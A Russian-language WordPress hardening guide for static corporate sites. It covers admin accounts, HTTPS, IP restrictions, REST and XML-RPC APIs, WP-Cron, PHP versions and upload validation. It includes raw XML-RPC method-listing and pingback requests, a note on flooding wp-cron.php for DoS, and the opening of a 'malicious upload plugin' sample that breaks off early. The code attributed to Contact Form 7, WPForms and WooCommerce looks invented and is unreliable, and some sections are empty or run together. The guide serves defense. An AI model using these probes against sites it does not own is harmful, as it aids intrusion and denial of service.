
Комплексное руководство по защите установок WordPress: охватывает изменение пользователя администратора, принудительное использование HTTPS, безопасность плагинов, права на файлы и конфигурацию сервера для статических корпоративных сайтов.
Этот документ предназначен для веб-приложений, разработанных с использованием WordPress, которые не взаимодействуют с пользователями. В первую очередь он предназначен для корпоративных страниц брендов, различных статических страниц, страниц найма и аналогичных сайтов.
Для веб-сайтов, где пользователи регистрируются и свободно пользуются сайтом, таких как открытые сообщества, некоторые пункты этого документа могут быть неприменимы. Пожалуйста, учитывайте это при чтении.
Этот документ не включает в себя все содержимое, необходимое для обеспечения безопасности WordPress.
Однако он содержит общую и подробную информацию на уровне, достаточном для оценки рисков безопасности и реагирования на уязвимости в соответствии с руководством.
Если вы находите это полезным, пожалуйста, поставьте "звездочку" 🌟, чтобы поддержать дальнейшие улучшения.
При установке WordPress имя пользователя администратора по умолчанию — "admin", если вы не измените его во время установки. Имя учетной записи "admin" широко известно, поэтому его следует изменить на другое. Если вы продолжите использовать "admin" в качестве имени администратора, злоумышленник может попытаться осуществить атаку методом перебора, используя "admin", чтобы получить доступ к вашему сайту WordPress.
Если злоумышленник получит доступ к учетной записи администратора WordPress, он получит полный контроль над веб-сайтом. Имя пользователя администратора WordPress по умолчанию следует изменить на другое имя.
Аудит:
Устранение:
Примечание:
По умолчанию WordPress имеет пять ролей пользователей: "Администраторы", "Редакторы", "Авторы", "Авторы-корректоры", "Подписчики".
Эти роли позволяют вам контролировать, какие задачи пользователи могут выполнять на вашем веб-сайте, назначая соответствующие разрешения. Если роли пользователей и разрешения не управляются должным образом, пользователи могут получить ненужный доступ к критическим функциональным возможностям, что представляет значительный риск безопасности.
Аудит:
Устранение:
Примечание:
WordPress включает встроенную функцию регистрации пользователей. По умолчанию эта функция отключена, но администратор может ее активировать.
Если эта функция включена, любой может зарегистрироваться и потенциально получить доступ к панели администратора WordPress, что может привести к проблемам безопасности. Для большинства веб-сайтов, которые не предназначены для работы в качестве открытых сообществ, функция регистрации пользователей не нужна и должна оставаться отключенной.
Аудит:
С помощью веб-браузера

С помощью curl
(response) HTTP/1.1 302 Moved Temporarily cache-control: no-cache, no-store, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 server: Apache content-length: 0 ... location: https://yourwordpress.com/wp-login.php?registration=disabled
**Устранение:**
- Если регистрация пользователей включена, отключите её.
- Снимите флажок «Любой может зарегистрироваться»

## 4. Убедитесь, что редактор файлов плагинов отключён
Если злоумышленник получает доступ к учётной записи администратора WordPress, он может получить полный контроль над вашим сайтом.
Он может редактировать код вашей темы и плагинов через встроенную функцию «Редактор», загружать вредоносные скрипты, портить ваш сайт, рассылать спам вашим пользователям и многое другое.
Распространённые взломы через эти редакторы включают SQL-инъекции, SEO-спам-взломы и японский SEO-спам.
**Аудит:**
- Убедитесь, что редактор файлов отключён.
- Проверьте, можете ли вы получить доступ к редактору через Внешний вид > Редактор или Плагины > Редактор плагинов.
**Устранение:**
- Если редактор файлов включён, отключите его, выполнив следующие шаги:
1. Откройте файл wp-config.php с помощью Файлового менеджера или FTP
2. Откройте файл wp-config.php для редактирования.
3. Прокрутите вниз до конца файла (если используется стандартный wp-config.php).
4. Найдите следующую строку:
`
/* That’s all, stop editing! Happy publishing. */
`
5. Над этой строкой добавьте следующий код:
`
define('DISALLOW_FILE_EDIT', true);
`
6. Сохраните изменения и закройте редактор.
7. Вернитесь в панель управления WordPress и убедитесь, что опции редактора больше недоступны.
## 5. Убедитесь, что неиспользуемые и ненужные плагины деактивированы
Многие уязвимости в WordPress возникают из-за проблем безопасности плагинов.
Плагины являются открытым исходным кодом, что облегчает злоумышленникам поиск и эксплуатацию уязвимостей.
Крайне важно поддерживать актуальность используемых плагинов и деактивировать все неиспользуемые плагины, чтобы предотвратить возможную эксплуатацию.
**Аудит:**
- Проверьте, что неиспользуемые и ненужные плагины деактивированы.
- Убедитесь, что неиспользуемые и ненужные плагины деактивированы.
**Устранение:**
- Деактивируйте все неиспользуемые и ненужные плагины, выполнив следующие шаги:
**Используйте Plugin Check - PCP:**
- PCP: https://wordpress.org/plugins/plugin-check
1. Установите и активируйте Plugin Check (PCP):
- Перейдите в панель управления WordPress
- Перейдите в Плагины > Добавить новый.
- Найдите «Plugin Check» и установите, активируйте его.
2. Запустите проверку плагинов:
- В панели управления WordPress перейдите в меню Plugin Check.
- Выберите плагины, которые хотите проверить, и запустите сканирование.
3. Проанализируйте результаты сканирования:
- PCP проанализирует код плагина и предоставит отчёт, включающий:
- Соответствие стандартам кода: насколько хорошо плагин соблюдает стандарты кодирования WordPress.
- Проблемы безопасности: потенциальные уязвимости или вредоносный код.
- Проблемы производительности: влияние на производительность сайта.
- Проблемы совместимости: совместимость плагина с другими плагинами и темами.
4. Определите проблемные плагины:
- Если в отчёте указаны значительные уязвимости безопасности, вредоносный код или многочисленные нарушения стандартов кодирования, плагин, вероятно, является «подозрительным».
- Будьте осторожны с плагинами, которые совершают ненужные внешние запросы или выполняют чрезмерные запросы к базе данных.
5. Устраните проблемы:
- Исправьте выявленные проблемы, обновив плагин или найдя информацию на страницах плагинов.
- Избегайте использования плагинов с серьёзными проблемами безопасности. При необходимости найдите альтернативные плагины.
**Управление плагинами:**
1. Выбор плагинов:
- Используйте официальные репозитории, проверяйте отзывы и рейтинги, проверяйте надёжность разработчика
- Не используйте неизвестные, непроверенные плагины
2. Регулярные обновления
- Держите плагины в актуальном состоянии, чтобы иметь последние исправления безопасности.
3. Деактивация и удаление неиспользуемых плагинов
- Даже неактивные плагины могут представлять угрозу безопасности, поэтому удаляйте их, если они не используются.
- Минимизируйте количество плагинов: используйте только необходимые
## 6. Убедитесь, что WordPress настроен на использование только HTTPS, включая панель администратора
Сегодня большинство сайтов настроены на работу через SSL (HTTPS).
Однако некоторые веб-серверы могут быть по ошибке настроены на обработку как HTTP, так и HTTPS соединений.
Это может позволить доступ к WordPress через оба протокола, что является угрозой безопасности. Необходимо принудительно использовать только HTTPS для WordPress, включая панель администратора.
**Аудит:**
- Убедитесь, что WordPress, включая панель администратора, настроен так, чтобы быть доступным только через HTTPS.
- Проверьте конфигурацию VirtualHost веб-сервера, чтобы убедиться, что не настроены HTTP VirtualHosts.
**Устранение:**
- Если возможен HTTP-доступ, сначала проверьте и измените настройки веб-сервера.
- Если на сервере есть HTTP VirtualHosts, либо перенаправьте их на HTTPS, либо удалите HTTP VirtualHosts.
- При необходимости включите функцию «FORCE_SSL_ADMIN», чтобы обеспечить доступ к панели администратора WordPress только через HTTPS.
**Шаги по включению FORCE_SSL_ADMIN:**
1. Откройте файл wp-config.php с помощью Файлового менеджера или FTP.
2. Откройте файл wp-config.php для редактирования.
3. Прокрутите вниз до конца файла (если используется стандартный wp-config.php).
4. Найдите следующую строку:
`
/* That’s all, stop editing! Happy publishing. */
`
5. Над этой строкой добавьте следующий код:
`
define('FORCE_SSL_ADMIN', true);`
`
6. Сохраните изменения и закройте редактор.
Вернитесь в панель управления WordPress и войдите снова, чтобы убедиться, что панель администратора доступна только через HTTPS.
**Перенаправление HTTP на HTTPS на веб-сервере:**
1. Для Apache:
```
<VirtualHost *:80>
ServerName yourwordpress.com
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
</VirtualHost>
```
2. Для Nginx:
```
server {
listen 80;
server_name yourwordpress.com;
location / {
return 301 https://$host$request_uri;
}
}
```
Обеспечив доступ к WordPress и панели администратора только через HTTPS, вы можете значительно повысить безопасность вашего сайта, защитив данные и предотвратив несанкционированный доступ.
## 7. Убедитесь, что применены ограничения доступа по IP (ACL)
Проверьте, что применены ограничения доступа по IP
Для безопасной работы WordPress необходимо применить ограничения доступа по IP к определённым URL, включая панель администратора WordPress, чтобы предотвратить доступ нежелательных пользователей, компьютеров и ботов. Это подразумевает разрешение доступа только с разрешённых IP-адресов, например, IP-адресов администраторов. Кроме того, необходимо отключать неиспользуемые функции, чтобы минимизировать поверхность атаки.
URL, которые необходимо защитить, включают панель администратора WordPress, регистрацию пользователей (wp-signup.php), JSON REST API и функцию XML-RPC.
Данное руководство по безопасности ориентировано на сервисные веб-сайты, такие как корпоративные блоги, страницы вакансий, брендовые сайты и промо-сайты, где взаимодействие с пользователями минимально, а контент в основном демонстрируется.
Внедряя ограничения доступа по IP, вы можете значительно снизить риск несанкционированного доступа и повысить общую безопасность вашего сайта.
### 7.1. Убедитесь, что ограничения доступа по IP применены к панели администратора WordPress.
Путь доступа к панели администратора WordPress фиксирован в виде wp-login.php или /wp-admin, что делает его легкодоступным для неавторизованных пользователей.
Убедитесь, что применено ограничение доступа по IP, чтобы предотвратить несанкционированный доступ к странице администратора.
**Аудит:**
- Проверьте, что ограничения доступа по IP применены для панели администратора WordPress.
- В большинстве случаев это настраивается на веб-сервере (Apache, Nginx).
**Устранение:**
- Если ограничения доступа по IP не применены, внедрите их.
- Ниже приведены методы применения ограничений доступа по IP с использованием веб-серверов Apache и Nginx.
**Применение ограничения доступа по IP к панели администратора WordPress:**
- /wp-admin, wp-login.php
1. Для Apache:
```
# Files Directive
<Files "wp-login.php">
Require ip 10.10.77.49 # Замените на ваш IP-адрес
</Files>
# FilesMatch Directive
<FilesMatch "^wp-login\.php$">
Require all granted
</FilesMatch>
# Directory, Files Mixing Directive
<Directory /www/vhosts/yourwordpress>
Require all granted
AllowOverride None
<Files "wp-login.php">
Require ip 10.10.77.49 # Замените на ваш IP-адрес
</Files>
</Directory>
# Location Directive
<Location "/wp-admin">
Require ip 10.10.77.49 # Замените на ваш IP-адрес
</Location>
<Location "/wp-login.php">
Require ip 10.10.77.49 # Замените на ваш IP-адрес
</Location>
```
2. Для Nginx:
```
location /wp-admin {
allow 10.10.77.49; # Замените на ваш IP-адрес
deny all;
}
location ~* \wp-login.php {
allow 10.10.77.49; # Замените на ваш IP-адрес
deny all;
}
```
### 7.2. Ограничьте доступ по IP или отключите функцию JSON REST API
WordPress предоставляет две функции REST (xmlrpc, json rest api) и они включены по умолчанию при установке WordPress.
REST API предоставляет конечные точки для типов данных WordPress, позволяя удалённое взаимодействие с сайтом для таких задач, как запрос записей или данных, изменение ресурсов, редактирование и удаление.
Для большинства сайтов WordPress функция REST API не является обязательной.
Её включение может подвергнуть WordPress DDoS-атакам и привести к потреблению ресурсов и замедлению работы сайта.
**Аудит:**
- Проверьте, включена ли функция JSON REST API. (По умолчанию: Включена)```
# curl -i -k https://yourwordpress.com/wp-json
(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
content-type: text/html; charset=UTF-8
...
Server: Apache
{"name":"mywordress","description":"".......................
Устранение:
Установите и активируйте плагин "Disable REST API":
Ограничение доступа по IP для JSON REST API:
<Location "/wp-json">
Require ip 10.10.77.49 # Замените на ваш IP-адрес
</Location>
location ~ ^/wp-json/ {
allow 10.10.77.49; # Замените на разрешённый IP-адрес
deny all;
}
Аналогично JSON REST API, рекомендуется отключить XML-RPC API, поскольку он не требуется для большинства установок WordPress.
Если REST API необходим, рекомендуется использовать JSON REST API.
XML-RPC имеет две основные уязвимости:
Атаки методом перебора (Brute force):
DoS-атаки через Pingback:
Если XML-RPC включён, он всё ещё может быть использован для таких атак.
Аудит:
(response) HTTP/1.1 405 Method Not Allowed Date: Mon, 25 Jun 2018 08:30:24 GMT Server: Apache Allow: POST Content-Length: 42 Content-Type: text/plain; charset=UTF-8
XML-RPC server accepts POST requests only.
**Устранение:**
- Отключите функцию XML-RPC с помощью плагина
**Установите и активируйте плагин "Disable XML-RPC-API":**
1. Перейдите в панель администратора WordPress.
2. Перейдите в раздел Плагины > Добавить новый.
3. Найдите плагин "[Disable XML-RPC-API](https://wordpress.org/plugins/disable-xml-rpc-api/)" и установите его, затем активируйте.
4. XML-RPC-API теперь отключен.
**Об атаках XML-RPC pingback:**
1. Проверьте, включён ли XML-RPC
```
# curl -i -k https://yourwordpress.com/xmlrpc.php
(response)
HTTP/1.1 405 Method Not Allowed
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8
XML-RPC server accepts POST requests only.
```
2. Поиск доступных методов XML-RPC
```
(request)
POST /xmlrpc.php HTTP/1.1
Host: yourwordpress.com
Content-Length: 135
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
...
Server: Apache
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
...
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
```
3. Выполнение pingback-запросов
- Успешность атаки pingback и конкретные методы проверки не описываются.
```
(request)
POST /xmlrpc.php HTTP/1.1
Host: yourwordpress.com
Content-Length: 303
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>call-back url for pingback result</string></value>
</param>
<param>
<value><string>https://yourwordpress.com/</string></value>
</param>
</params>
</methodCall>
(response)
HTTP/1.1 200 OK
...
Server: Apache
Content-Length: 370
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>0</int></value>
</member>
<member>
<name>faultString</name>
<value><string></string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
```
### 7.4. Отключение WP-Cron или ограничение функции
В WordPress WP-Cron (wp-cron.php) используется для автоматизации задач, таких как публикация записей по расписанию, проверка обновлений плагинов/тем и отправка уведомлений по электронной почте.
WP-Cron по сути работает, проверяя список запланированных задач при каждой загрузке страницы.
Проблема возникает при интенсивной загрузке страниц.
Поскольку задачи WP-Cron выполняются при каждой загрузке страницы, многократные повторные обращения приводят к соответствующим вызовам WP-Cron. В результате системные ресурсы могут истощиться, что приведёт к замедлению или даже остановке сайта.
Это реальная ситуация, и она часто используется в атаках на уязвимости WordPress.
Если WP-Cron не обязателен, рекомендуется его отключить.
При необходимости ограничьте доступ только локальными хостами.
**Аудит:**
- Проверьте, включён ли WP-Cron. (По умолчанию: Включён)```
# curl -i -k https://yourwordpress.com/wp-cron.php
(response)
HTTP/1.1 200 ok
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8
Устранение:
Шаги по отключению WP-Cron:
/* That’s all, stop editing! Happy publishing. */define('DISABLE_WP_CRON', true);# Files Directive
<Files "wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Files>
# FilesMatch Directive
<FilesMatch "^wp-cron\.php$">
Require ip 127.0.0.1 # localhost only
</FilesMatch>
# Location Directive
<Location "/wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Location>
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
Шаги по активации "ALTERNATE_WP_CRON":
/* That’s all, stop editing! Happy publishing. */define( 'ALTERNATE_WP_CRON', true );# Files Directive
<Files "wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Files>
# FilesMatch Directive
<FilesMatch "^wp-cron\.php$">
Require ip 127.0.0.1 # localhost only
</FilesMatch>
# Location Directive
<Location "/wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Location>
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
Пример использования системного cron (crontab):
.. ... */10 * * * * curl http://yourwordpress.com/wp-cron.php?doing_wp_cron > /dev/null 2>&1
*/10 * * * * cd /var/www/yourwordpress.com/htdocs; php /var/www/yourwordpress.com/htdocs/wp-cron.php?doing_wp_cron > /dev/null 2>&1
*/10 * * * * cd /var/www/example.com/htdocs; wp cron event run --due-now > /dev/null 2>&1
**О выполнении DoS-атаки с помощью wp-cron.php:**
- Отправка большого количества запросов к wp-cron.php
- Это заставляет скрипт потреблять чрезмерное количество ресурсов, что в конечном итоге перегружает сервер


## 8. Конфигурация системы для безопасного WordPress.
Обеспечение безопасной работы WordPress требует правильной конфигурации веб-сервера и усиления защиты серверных компонентов.
Вот несколько ключевых моментов, которые необходимо проверить и реализовать.
### 8.1. Убедитесь в использовании версий WordPress и PHP, не достигших конца жизненного цикла (EOL)
Для поддержания безопасной установки WordPress необходимо использовать версии WordPress и PHP, которые не достигли конца жизненного цикла (EOL).
Версии EOL больше не поддерживаются и не получают обновления безопасности, что делает ваш сайт уязвимым для неисправленных проблем безопасности.
Использование поддерживаемых версий гарантирует, что любые обнаруженные уязвимости будут своевременно устранены, защищая ваш сайт от возможных атак.
Вот что нужно сделать, чтобы проверить и обновить версии WordPress и PHP:
**Аудит:**
- Убедитесь, что ваши текущие версии WordPress и PHP не являются EOL.
**Исправление:**
- Установите и запускайте не-EOL версии WordPress и PHP.
- По состоянию на май 2024 года поддерживаемая версия WordPress — 6.5 и выше. Поддерживаемые версии PHP: 8.1, 8.2 и 8.3.
- Если вы используете услуги веб-хостинга, воспользуйтесь их функциями переключения версий, чтобы убедиться, что вы используете поддерживаемые версии как WordPress, так и PHP.
**Статус EOL по состоянию на май 2024 года**
1. PHP: [supported-versions](https://www.php.net/supported-versions.php)
- Текущие поддерживаемые версии: 8.1, 8.2, 8.3
2. WordPress: [current-releases](https://wordpress.org/download/releases/)
- Текущие поддерживаемые версии: серия 6.5
**Пример: PHP в RockyLinux 8.5**
- В RockyLinux 8.5 доступны версии PHP по умолчанию: 7.2, 7.3 и 7.4.
```
# dnf module list php
Rocky Linux 8 - AppStream
Name Stream Profiles Summary
php 7.2 [d] common [d], devel, minimal PHP scripting language
php 7.3 common [d], devel, minimal PHP scripting language
php 7.4 common [d], devel, minimal PHP scripting language
Hint: [d]efault, [e]nabled, [x]disabled, [i]nstalled
# dnf module enable php:7.4
==============================================================================================
Package Architecture Version Repository Size
==============================================================================================
Enabling module streams:
httpd 2.4
php 7.4
Transaction Summary
==============================================================================================
Is this ok [y/N]: y
Complete!
```
- PHP 7 уже достиг конца жизненного цикла (EOL); рекомендуется обновление до PHP 8.
- PHP 8 можно установить из репозитория REMI.
- Вот пример включения и установки PHP 8.2 с помощью REMI:
```
# Install PHP 8.2 in Rocky Linux 8
# dnf install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
# dnf -y install https://rpms.remirepo.net/enterprise/remi-release-8.rpm
# dnf -y install yum-utils
# dnf module reset php
# dnf module install php:remi-8.2
Last metadata expiration check: 0:00:39 ago on Tue 13 Dec 2022 07:19:26 AM UTC.
Dependencies resolved.
=======================================================================================================================================
Package Architecture Version Repository Size
=======================================================================================================================================
Installing group/module packages:
php-cli x86_64 8.2.0-1.el8.remi remi-modular 5.4 M
php-common x86_64 8.2.0-1.el8.remi remi-modular 1.3 M
php-fpm x86_64 8.2.0-1.el8.remi remi-modular 1.9 M
php-mbstring x86_64 8.2.0-1.el8.remi remi-modular 574 k
php-xml x86_64 8.2.0-1.el8.remi remi-modular 254 k
Installing dependencies:
httpd-filesystem noarch 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 41 k
libxslt x86_64 1.1.32-6.el8 baseos 249 k
oniguruma5php x86_64 6.9.8-1.el8.remi remi-safe 212 k
Installing weak dependencies:
nginx-filesystem noarch 1:1.14.1-9.module+el8.4.0+542+81547229 appstream 23 k
Installing module profiles:
php/common
Enabling module streams:
httpd 2.4
nginx 1.14
php remi-8.2
Transaction Summary
=======================================================================================================================================
Install 9 Packages
# dnf update
# dnf install php
Last metadata expiration check: 0:00:23 ago on Tue 13 Dec 2022 07:29:55 AM UTC.
Dependencies resolved.
=======================================================================================================================================
Package Architecture Version Repository Size
=======================================================================================================================================
Installing:
php x86_64 8.2.0-1.el8.remi remi-modular 1.8 M
Installing dependencies:
apr x86_64 1.6.3-12.el8 appstream 128 k
apr-util x86_64 1.6.1-6.el8.1 appstream 104 k
httpd x86_64 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 1.4 M
httpd-tools x86_64 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 108 k
libsodium x86_64 1.0.18-2.el8 epel 162 k
mailcap noarch 2.1.48-3.el8 baseos 38 k
mod_http2 x86_64 1.15.7-5.module+el8.6.0+823+f143cee1 appstream 153 k
rocky-logos-httpd noarch 86.3-1.el8 baseos 24 k
Installing weak dependencies:
apr-util-bdb x86_64 1.6.1-6.el8.1 appstream 23 k
apr-util-openssl x86_64 1.6.1-6.el8.1 appstream 26 k
php-opcache x86_64 8.2.0-1.el8.remi remi-modular 633 k
php-pdo x86_64 8.2.0-1.el8.remi remi-modular 166 k
php-sodium x86_64 8.2.0-1.el8.remi remi-modular 105 k
Transaction Summary
=======================================================================================================================================
Install 14 Packages
Total download size: 4.8 M
Installed size: 14 M
Is this ok [y/N]: y
# php -v
PHP 8.2.0 (cli) (built: Dec 6 2022 14:26:47) (NTS gcc x86_64)
Copyright (c) The PHP Group
Zend Engine v4.2.0, Copyright (c) Zend Technologies
with Zend OPcache v8.2.0, Copyright (c), by Zend Technologies
```
**Примечание:**
- Подробные инструкции по установке PHP из репозитория REMI: [rpms.remirepo.net](https://rpms.remirepo.net/)
- Документация по совместимости WordPress и PHP: [php-compatibility-and-wordpress-versions](https://make.wordpress.org/core/handbook/references/php-compatibility-and-wordpress-versions/)
### 8.2. Убедитесь, что для WordPress включены только необходимые расширения PHP
Убедитесь, что для вашего сайта WordPress включены только необходимые расширения PHP.
Ненужные расширения могут увеличить поверхность атаки вашего сайта и подвергнуть WordPress уязвимостям безопасности.
Включая только необходимые расширения, вы можете минимизировать потенциальные риски и повысить общую безопасность.
Ниже перечислены расширения, необходимые для корректной работы сайта WordPress. **(Это не список для целей усиления безопасности)**
| Расширение | Описание |
|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| json | Используется для связи с другими серверами и обработки данных в формате JSON. |
| mysqli | Подключается к MySQL для взаимодействия с базой данных. |
| curl | Выполняет удаленные запросы. |
| dom | Используется для проверки содержимого текстовых виджетов и автоматической настройки IIS7+. |
| exif | Работает с метаданными, хранящимися в изображениях. |
| fileinfo | Используется для определения MIME-типа загружаемых файлов. |
| hash | Используется для хеширования, включая пароли и пакеты обновлений. |
| igbinary | Повышает производительность в качестве замены стандартного сериализатора PHP. |
| imagick | Обеспечивает лучшее качество изображений для загрузки медиафайлов. См. WP_Image_Editor для подробностей. Более умное изменение размера изображений (для меньших изображений) и поддержка миниатюр PDF, если также доступен Ghost Script. |
| intl | Включает операции с учетом локали, включая, помимо прочего, форматирование, транслитерацию, преобразование кодировок, календарные операции, правильное сопоставление, поиск границ текста, а также работу с идентификаторами локали, часовыми поясами и графемами. |
| mbstring | Используется для корректной обработки текста UTF-8. |
| openssl | SSL-соединения с другими хостами. |
| pcre | Повышает производительность поиска шаблонов в коде. |
| xml | Используется для разбора XML, например, с сайтов третьих сторон. |
| zip | Используется для распаковки плагинов, тем и пакетов обновлений WordPress. |
| bc | Для математических вычислений произвольной точности, поддерживает числа любого размера и точности до 2147483647 десятичных цифр. |
| filter | Используется для безопасной фильтрации пользовательского ввода. |
| image | Если Imagick не установлен, библиотека GD Graphics используется как функционально ограниченная запасная опция для обработки изображений. |
| iconv | Используется для преобразования между наборами символов. |
| shmop | Shmop — это простой набор функций, который позволяет PHP читать, записывать, создавать и удалять сегменты разделяемой памяти Unix. |
| simplexml | Используется для разбора XML. |
| sodium | Проверяет подписи и предоставляет криптографически безопасные случайные байты. |
| xmlreader | Используется для разбора XML. |
| zlib | Сжатие и распаковка Gzip. |
Основные расширения можно найти здесь: [WordPress Hosting Handbook: PHP Extensions](https://make.wordpress.org/hosting/handbook/server-environment/#php-extensions)
**Аудит:**
- Убедитесь, что для вашего сайта WordPress включены только необходимые расширения PHP.
**Исправление:**
- Удалите все ненужные расширения. Иногда расширения устанавливаются вместе с плагинами, которые могут не требоваться для вашего сайта.
- Чтобы проверить текущие включенные расширения PHP, вы можете просмотреть файл **php.ini** или использовать функцию **phpinfo()** для вывода списка всех активных расширений.

- Некоторые расширения, если они не нужны, следует отключить, чтобы предотвратить потенциальные проблемы безопасности.
- Например, расширения exif, fileinfo, imap, soap, pdo_sqlite и opcache могут быть использованы злоумышленниками, если они оставлены включенными без надлежащего использования.
- Если вы используете услуги веб-хостинга, многие провайдеры предлагают удобные интерфейсы для переключения настроек PHP, включая включение или отключение расширений PHP. Используя эти функции, вы можете эффективно управлять расширениями.
### 8.3. Обеспечьте безопасность плагинов с функциями загрузки файлов
Плагины с возможностью загрузки файлов могут представлять значительный риск для безопасности, если не защищены должным образом. Уязвимости в функциях загрузки файлов могут позволить злоумышленникам загружать веб-шеллы, что может привести к полной компрометации системы. Поэтому крайне важно, чтобы любая функциональность загрузки файлов включала механизмы проверки и очистки.
Почему это важно?
1. Проверка расширения:
- Сервер должен проверять расширения файлов по белому списку разрешенных типов, чтобы предотвратить загрузку вредоносных файлов.
2. Проверка MIME-типа:
- MIME-тип файла должен проверяться на соответствие ожидаемому типу, что добавляет дополнительный уровень безопасности.
3. Ограничения пути загрузки:
- Убедитесь, что нет открытых путей, которые позволяют прямой доступ к загруженным файлам без проверки.
Уязвимости загрузки файлов особенно опасны, поскольку они предоставляют злоумышленникам прямой путь для загрузки исполняемого кода и выполнения произвольных команд. Уязвимости загрузки файлов часто легче выявить и использовать по сравнению с другими недостатками безопасности, такими как SQL-инъекции.
**Аудит:**
- Определите плагины с функцией загрузки файлов на вашем сайте WordPress.
- Проверьте, что эти плагины реализуют надлежащие проверки загружаемых файлов, включая проверку расширения и MIME-типа.
**Исправление:**
- Если плагин с функцией загрузки файлов не имеет надлежащей проверки, либо усильте его безопасность, либо удалите плагин.
- Ниже приведены примеры популярных плагинов WordPress с функциями загрузки файлов и способы обработки проверки файлов.
**Пример: Популярные плагины WordPress с обработкой загрузки файлов**
1. Contact Form 7
- Contact Form 7 — один из самых широко используемых плагинов форм в WordPress. Он включает базовую функциональность загрузки файлов с проверкой расширения и MIME-типа.**Код для разрешённых расширений и проверки MIME-типа:**
```
function wpcf7_allowed_file_extensions() {
// Default allowed file extensions
$allowed_file_extensions = array(
'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx',
'xls', 'xlsx', 'txt', 'csv', 'rtf', 'html', 'zip'
);
return $allowed_file_extensions;
}
function wpcf7_handle_upload( $file ) {
$allowed_mime_types = wpcf7_allowed_file_extensions();
$file_type = wp_check_filetype( $file['name'] );
// Check if the file type is allowed
if ( ! in_array( $file_type['ext'], $allowed_mime_types ) ) {
return new WP_Error( 'wpcf7_upload_failed', __( 'File type is not allowed.', 'contact-form-7' ) );
}
// Handle the file upload
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
// Check if the upload was successful
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'wpcf7_upload_failed', $upload['error'] );
}
return $upload;
}
```
В Contact Form 7 функция `wpcf7_allowed_file_extensions()` возвращает список разрешённых расширений файлов,
а функция `wpcf7_handle_upload()` проверяет, входит ли расширение файла в этот список, прежде чем продолжить загрузку.
2. WPForms
- WPForms обрабатывает загрузку файлов, проверяя разрешённые типы файлов.
**Пример кода для WPForms:**
```
function wpforms_get_file_types() {
// Return an array of allowed file types
return array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
}
function wpforms_process_file_upload( $file ) {
$allowed_file_types = wpforms_get_file_types();
$file_type = wp_check_filetype( $file['name'] );
if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
return new WP_Error( 'wpforms_upload_failed', __( 'File type is not allowed.', 'wpforms' ) );
}
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'wpforms_upload_failed', $upload['error'] );
}
return $upload;
}
```
3. WooCommerce
- WooCommerce также определяет и проверяет разрешённые расширения файлов непосредственно в своём коде обработки загрузки.
**Пример кода для WooCommerce:**
```
function woocommerce_handle_upload( $file ) {
$allowed_file_types = array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
$file_type = wp_check_filetype( $file['name'] );
if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
return new WP_Error( 'woocommerce_upload_failed', __( 'File type is not allowed.', 'woocommerce' ) );
}
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'woocommerce_upload_failed', $upload['error'] );
}
return $upload;
}
```
**Пример: Вредоносный плагин fileupload**
- Вредоносный плагин может выглядеть безобидно, но использует расширение fileinfo для обхода проверок безопасности:
```
<?php
/*
Plugin Name: Simple Malicious Upload
Description: A plugin with hidden malicious file upload capability.
Version: 1.0
*/
function simple_file_upload_menu() {
add_menu_page('File Upload', 'File Upload', 'manage_options', 'file-upload', 'simple_file_upload_page');
}
add_action('admin_menu', 'simple_file_upload_menu');
function simple_file_upload_page() {
?>
<h1>File Upload</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="uploaded_file" />
<input type="submit" name="upload_file" value="Upload" />
</form>
<?php
if (isset($_POST['upload_file'])) {
simple_handle_file_upload();
}
}
function simple_handle_file_upload() {
if (!empty($_FILES['uploaded_file']['tmp_name'])) {
$file_tmp = $_FILES['uploaded_file']['tmp_name'];
$file_name = basename($_FILES['uploaded_file']['name']);
// Using fileinfo to check MIME type
